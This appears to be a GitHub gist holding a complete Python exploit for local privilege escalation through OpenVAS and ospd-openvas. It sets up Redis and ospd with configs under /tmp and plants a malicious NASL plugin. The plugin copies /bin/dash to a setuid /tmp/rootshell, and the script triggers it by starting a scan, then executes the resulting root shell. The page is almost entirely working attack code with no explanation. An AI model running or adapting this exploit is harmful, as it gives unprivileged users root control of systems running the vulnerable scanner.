Skip to content

Instantly share code, notes, and snippets.

@csalazar
Created March 25, 2021 11:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save csalazar/4ef0a379b7564861e0838220aef7c2e3 to your computer and use it in GitHub Desktop.
Save csalazar/4ef0a379b7564861e0838220aef7c2e3 to your computer and use it in GitHub Desktop.
import os
import subprocess
import time
import uuid
from gvm.connections import UnixSocketConnection
from gvm.protocols.latest import Osp
REDIS_CONF = """
bind 127.0.0.1 ::1
protected-mode yes
tcp-backlog 511
timeout 0
tcp-keepalive 300
daemonize yes
supervised no
loglevel notice
databases 16
always-show-logo yes
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
rdb-del-sync-files no
replica-serve-stale-data yes
replica-read-only yes
repl-diskless-sync no
repl-diskless-sync-delay 5
repl-diskless-load disabled
repl-disable-tcp-nodelay no
replica-priority 100
acllog-max-len 128
lazyfree-lazy-eviction no
lazyfree-lazy-expire no
lazyfree-lazy-server-del no
replica-lazy-flush no
lazyfree-lazy-user-del no
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
aof-load-truncated yes
aof-use-rdb-preamble yes
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 0
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-size -2
list-compress-depth 0
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
stream-node-max-bytes 4096
stream-node-max-entries 100
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
dynamic-hz yes
aof-rewrite-incremental-fsync yes
rdb-save-incremental-fsync yes
jemalloc-bg-thread yes
port 0
unixsocket /tmp/redis-server.sock
unixsocketperm 770
pidfile /tmp/redis-server.pid
logfile /tmp/redis-server-openvas.log
dir /tmp
"""
OPENVAS_CONF = """
plugins_folder = /tmp/plugins
db_address = /tmp/redis-server.sock
"""
OSPD_OPENVAS_CONF = """
[OSPD - openvas]
log_level = INFO
socket_mode = 0o770
unix_socket = /tmp/ospd-openvas.sock
pid_file = /tmp/ospd-openvas.pid
log_file = /tmp/ospd-openvas.log
lock_file_dir = /tmp
"""
MALICIOUS_PLUGIN = """
if(description)
{
script_oid("1.2.3.4.5");
script_tag(name:"last_modification", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)");
script_tag(name:"creation_date", value:"2021-03-21 12:22:31 +0100 (Sun, 21 Mar 2021)");
script_tag(name:"cvss_base", value:"0.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");
script_name("Malicious");
script_category(ACT_SCANNER);
script_family("Port scanners");
exit(0);
}
args = make_list("cp", "/bin/dash", "/tmp/rootshell");
ret = pread(cmd:"cp", argv: args, cd: FALSE);
args = make_list("chmod", "+s", "/tmp/rootshell");
ret = pread(cmd:"chmod", argv: args, cd: FALSE);
exit( 0 );
"""
def setup_redis():
with open("/tmp/redis.conf", "w") as f:
f.write(REDIS_CONF)
res = subprocess.run(["redis-server", "/tmp/redis.conf"])
return res.returncode == 0
def setup_malicious_openvas_conf():
with open("/tmp/openvas.conf", "w") as f:
f.write(OPENVAS_CONF)
return True
def setup_ospd_openvas():
with open("/tmp/ospd.conf", "w") as f:
f.write(OSPD_OPENVAS_CONF)
res = subprocess.run(
["ospd-openvas", "-s", "/tmp/ospd.conf"], stderr=open(os.devnull, "w")
)
if res.returncode != 0:
return False
time.sleep(20)
return True
def setup_plugins_dir():
try:
os.mkdir("/tmp/plugins")
except FileExistsError:
pass
with open("/tmp/plugins/plugin_feed_info.inc", "w") as f:
f.write('PLUGIN_SET = "202006091543"')
with open("/tmp/plugins/malicious.nasl", "w") as f:
f.write(MALICIOUS_PLUGIN)
return True
def run_openvas():
path = "/tmp/ospd-openvas.sock"
connection = UnixSocketConnection(path=path)
osp = Osp(connection=connection)
# Prepare scan data
MALICIOUS_PLUGIN_ID = "1.2.3.4.5"
vts = {MALICIOUS_PLUGIN_ID: {}}
targets = [{"hosts": "localhost", "ports": "22"}]
with osp:
scan_id = str(uuid.uuid4())
osp.start_scan(scan_id=scan_id, targets=targets, vt_selection=vts)
return True
def wait_for_shell():
max_time = 30
counter = 0
while counter < max_time:
if not counter or counter % 5 == 0:
print("Waiting for root shell ..")
if os.path.isfile("/tmp/rootshell"):
return True
time.sleep(1)
counter += 1
return False
def main():
steps = [
("redis", setup_redis),
("openvas configuration", setup_malicious_openvas_conf),
("ospd-openvas", setup_ospd_openvas),
("plugins dir", setup_plugins_dir),
("openvas scan", run_openvas),
("root shell wait", wait_for_shell),
]
for component, func in steps:
print(f"[*] Setting up {component} ..")
res = func()
if res:
print("[+] Done!")
else:
print("[-] Unexpected error, exiting ...")
return
print("[+] Exploitation successful, executing root shell!")
os.execve("/tmp/rootshell", ["/tmp/rootshell", "-p"], {})
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment